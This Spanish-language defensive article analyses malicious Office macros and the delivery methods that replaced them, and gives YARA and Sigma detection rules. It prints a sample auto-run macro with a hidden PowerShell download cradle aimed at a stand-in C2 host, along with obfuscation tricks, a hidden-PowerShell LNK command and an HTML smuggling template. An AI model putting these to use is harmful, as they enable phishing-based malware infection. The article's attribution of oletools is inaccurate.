IntermedioWindowsmacrosVBAOfficeoletoolsphishing

Macros Maliciosas en Office: Análisis, Detección y el Fin de una Era

Análisis de macros maliciosas en documentos Office. Técnicas VBA, ofuscación, análisis estático con olevba/oletools, el bloqueo de macros por defecto en Office 2022+ y las alternativas que adoptó el malware (ISO, LNK, OneNote, HTML smuggling).

MalwareIntel Research··9 min lectura
Serie: Malware en Windows — Parte 15

La era dorada de las macros y su declive

Durante más de una década (2010-2022), las macros VBA en documentos Office fueron el vector de acceso inicial favorito del malware. Emotet, TrickBot, Dridex, QakBot: todos dependían de campañas masivas de phishing con documentos Word o Excel que pedían al usuario "habilitar macros" para ver el contenido.

En febrero de 2022, Microsoft cambió las reglas: las macros VBA se bloquean por defecto en archivos descargados de Internet (archivos con Mark of the Web). Este cambio redujo drásticamente la efectividad de las macros como vector de acceso, forzando al ecosistema de malware a buscar alternativas.

Este artículo cubre el análisis de macros maliciosas (porque siguen apareciendo en entornos legacy y ataques dirigidos) y las alternativas que el malware adoptó tras el bloqueo.

Anatomía de una macro maliciosa

Estructura típica

' Auto_Open / Document_Open: se ejecuta automaticamente al abrir el documento
Sub Auto_Open()
    Dim cmd As String
    ' Construir comando ofuscado
    cmd = Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
    ' "powershell"
    
    Dim args As String
    args = "-ep bypass -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://c2.example.com/payload.ps1')"""
    
    ' Ejecutar comando
    Shell cmd & " " & args, vbHide
End Sub

Triggers de ejecución automática

TriggerEventoDocumento
Auto_OpenAl abrir el documentoWord (.doc)
Document_OpenAl abrir el documentoWord (.docx con macros)
Auto_CloseAl cerrarWord
Workbook_OpenAl abrirExcel (.xls, .xlsm)
Document_ContentControlOnEnterAl interactuar con contenidoWord

Técnicas comunes en macros maliciosas

TécnicaDescripción
Shell()Ejecutar comando del sistema
WScript.ShellEjecutar comando via COM object
PowerShell download cradleDescargar y ejecutar payload
certutil downloadDescargar archivo con certutil
Ofuscación con Chr()Construir strings carácter a carácter
Payload en celdas ExcelAlmacenar datos del payload en celdas ocultas
Payload en UserFormAlmacenar payload en propiedades de controles de formulario
XLM macros (Excel 4.0)Macros legacy en celdas, más difíciles de analizar
VBA stompingEliminar código fuente VBA, dejar solo p-code compilado
Sandbox evasionChecks de entorno antes de ejecutar payload

Ofuscación de strings

' Metodo 1: Chr() concatenation
Dim s As String
s = Chr(80) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108)
' = "PowerShell"

' Metodo 2: Replace
s = Replace("P0w3rSh3ll", "0", "o")
s = Replace(s, "3", "e")
' = "PowerShell"

' Metodo 3: String reversal
s = StrReverse("llehSrewoP")
' = "PowerShell"

' Metodo 4: Base64 decode via MSXML2
Dim xml As Object
Set xml = CreateObject("MSXML2.DOMDocument")
Dim node As Object
Set node = xml.createElement("b64")
node.dataType = "bin.base64"
node.Text = "UG93ZXJTaGVsbA=="
' Decode = "PowerShell"

Herramientas de análisis

oletools (Didier Stevens)

Suite Python para análisis de documentos Office:

HerramientaUso
olevbaExtraer y analizar macros VBA. Detecta patrones sospechosos
oleidIdentificar características del documento (macros, OLE, cifrado)
rtfobjExtraer objetos OLE de documentos RTF
oledumpDump de streams OLE
mraptorDetectar macros que se ejecutan automáticamente
msoddeDetectar DDE (Dynamic Data Exchange) en documentos

Análisis con olevba

# Analizar documento y extraer macros
olevba malicious.doc

# Output incluye:
# - Codigo VBA de cada modulo
# - Indicadores sospechosos (AutoExec, Shell, PowerShell, etc.)
# - Strings interesantes (URLs, IPs, paths)
# - IOCs detectados automaticamente

# Ejemplo de output:
# +----------+--------------------+---------------------------------------------+
# |Type      |Keyword             |Description                                  |
# +----------+--------------------+---------------------------------------------+
# |AutoExec  |Auto_Open           |Runs when the Word document is opened        |
# |Suspicious|Shell               |May run an executable file or a system cmd    |
# |Suspicious|powershell          |May run PowerShell commands                   |
# |Suspicious|DownloadString      |May download files from the Internet          |
# |Suspicious|Chr                 |May attempt to obfuscate strings              |
# |IOC       |http://c2.example   |URL                                          |
# +----------+--------------------+---------------------------------------------+

Análisis en sandbox

SandboxCapacidad para macros
ANY.RUNEjecuta documentos Office, muestra actividad de macros
Joe SandboxAnálisis detallado de macros con deofuscación
Hybrid AnalysisEjecución y análisis de comportamiento
CAPE SandboxOpen source, configurable

El bloqueo de macros (febrero 2022)

Qué cambió

Microsoft implementó el bloqueo por defecto de macros VBA en archivos con Mark of the Web (MOTW):

  • Archivos afectados: .doc, .docm, .xls, .xlsm, .ppt, .pptm descargados de Internet
  • Comportamiento: en vez de mostrar "Habilitar contenido", muestra una barra roja de seguridad que no permite habilitar macros directamente
  • El usuario necesita: ir a Propiedades del archivo, marcar "Desbloquear", y volver a abrir. Un proceso deliberadamente inconveniente
  • Afecta a: Office 2016+ con actualizaciones, Microsoft 365

Impacto en el ecosistema de malware

El impacto fue masivo. Las campañas de Emotet, QakBot y otros loaders que dependían de macros vieron caídas inmediatas en tasas de infección. Los operadores tuvieron que pivotar a nuevos vectores.

Alternativas post-bloqueo de macros

ISO/IMG containers

Archivos de imagen de disco que Windows puede montar nativamente. Los archivos dentro de un ISO montado no tienen Mark of the Web, evitando el bloqueo de macros y las advertencias de SmartScreen:

Email con adjunto:
invoice_2026.iso
  └── invoice_2026.lnk    (acceso directo que ejecuta payload)
  └── payload.dll          (DLL maliciosa)

Microsoft añadió MOTW propagation a ISOs en noviembre 2022, reduciendo esta técnica.

Archivos LNK (accesos directos)

Archivos .lnk que ejecutan comandos al hacer doble clic:

Target: C:\Windows\System32\cmd.exe /c powershell -ep bypass -w hidden -c "IEX(...)"
Icon: %SystemRoot%\System32\shell32.dll,3  (icono de carpeta o documento)

El usuario ve lo que parece un documento o carpeta. Al hacer doble clic, ejecuta el comando.

OneNote con scripts embebidos

Microsoft OneNote permite embeber archivos. Los atacantes embeben scripts (.vbs, .js, .hta) en notebooks:

Notebook.one
  └── [Embedded: invoice.vbs]  (oculto detrás de una imagen que dice "Doble clic para ver")

OneNote no tenía protección contra ejecución de scripts embebidos hasta que Microsoft añadió bloqueos en 2023.

HTML Smuggling

Técnica que embebe el payload (codificado en Base64) directamente en un archivo HTML:

<html>
<script>
var payload = atob("TVqQAAMAAAAEAAAA...");  // PE en Base64
var blob = new Blob([new Uint8Array(payload.split('').map(c => c.charCodeAt(0)))]);
var link = document.createElement('a');
link.href = URL.createObjectURL(blob);
link.download = "invoice.zip";
link.click();  // Descarga automatica
</script>
</html>

El archivo HTML pasa filtros de email (no es ejecutable, no tiene macros). Al abrirse en el navegador, descarga automáticamente un archivo malicioso.

Comparativa de vectores post-macros

VectorMOTW bypassDetección por email gatewayInteracción del usuarioPrevalencia 2025
Macros VBA (legacy)No (bloqueado)Alta"Habilitar contenido"Baja
ISO/IMGParcheado 2022MediaMontar + ejecutarBaja
LNKNoMedia-BajaDoble clicAlta
OneNoteParcheado 2023Baja (nuevo)Doble clic en embeddedBaja
HTML SmugglingBaja (HTML legítimo)Abrir HTML + ejecutar downloadAlta
XLL (Excel Add-in)NoMedia"Habilitar complemento"Media
ZIP con passwordParcialBaja (no escaneable)Extraer + ejecutarAlta

Detección de documentos maliciosos

Indicadores en documentos Office

IndicadorHerramientaSospecha
Macros con Auto_Open/Document_Openolevba, mraptorAlta
Shell(), WScript.Shell en VBAolevbaMuy alta
Chr() concatenation extensivaolevbaAlta
DDE fieldsmsoddeAlta
Objetos OLE embebidosoleobjAlta
Excel 4.0 macros (XLM)XLMMacroDeobfuscatorAlta
VBA stomping (solo p-code)pcodedmpAlta
Documento protegido con password simpleoleidMedia

Regla YARA para macros sospechosas

rule Suspicious_Office_Macro {
    meta:
        description = "Detects Office documents with suspicious VBA macros"
        author = "MalwareIntel Research"
    
    strings:
        $auto1 = "Auto_Open" ascii
        $auto2 = "Document_Open" ascii
        $auto3 = "Workbook_Open" ascii
        
        $sus1 = "Shell" ascii
        $sus2 = "WScript" ascii
        $sus3 = "powershell" ascii nocase
        $sus4 = "cmd.exe" ascii nocase
        $sus5 = "DownloadString" ascii nocase
        $sus6 = "certutil" ascii nocase
        $sus7 = "XMLHTTP" ascii
        $sus8 = "ADODB.Stream" ascii
        
        $obf1 = "Chr(" ascii
        $obf2 = "ChrW(" ascii
        $obf3 = "StrReverse" ascii
        
        $magic = {D0 CF 11 E0 A1 B1 1A E1}  // OLE header
    
    condition:
        $magic at 0 and
        1 of ($auto*) and
        (2 of ($sus*) or 3 of ($obf*))
}

Sigma rule: Office spawning suspicious process

title: Microsoft Office Application Spawning Suspicious Process
id: a1234567-b2c3-d4e5-f678-90abcdef1234
status: stable
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith:
            - '\WINWORD.EXE'
            - '\EXCEL.EXE'
            - '\POWERPNT.EXE'
            - '\OUTLOOK.EXE'
            - '\ONENOTE.EXE'
    selection_child:
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\certutil.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
    condition: selection_parent and selection_child
level: critical
tags:
    - attack.execution
    - attack.t1204.002

Mapeo MITRE ATT&CK

TécnicaIDContexto macros
User Execution: Malicious FileT1204.002Usuario abre documento y habilita macros
Command and Scripting: VBAT1059.005Ejecución de código VBA
Phishing: Spearphishing AttachmentT1566.001Documento malicioso adjunto
Obfuscated FilesT1027Ofuscación de macros VBA
Ingress Tool TransferT1105Macro que descarga payload
Mark-of-the-Web BypassT1553.005ISO/container para evitar MOTW

Fuentes y referencias

  • Decalage. "oletools: Python tools for OLE/Office analysis." https://github.com/decalage2/oletools
  • Microsoft. "Macros from the internet will be blocked by default in Office." February 2022.
  • Proofpoint. "The Rise of LNK Files and ISO Containers Post-Macro Blocking." 2022.
  • Red Canary. "2024 Threat Detection Report: Office Macro Alternatives." Red Canary, 2024.
  • MITRE ATT&CK. "User Execution: Malicious File (T1204.002)." https://attack.mitre.org/techniques/T1204/002/
  • Didier Stevens. "Analyzing Malicious Office Documents." SANS ISC.
  • Any.Run. "HTML Smuggling: Analysis and Detection." ANY.RUN Blog, 2023.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.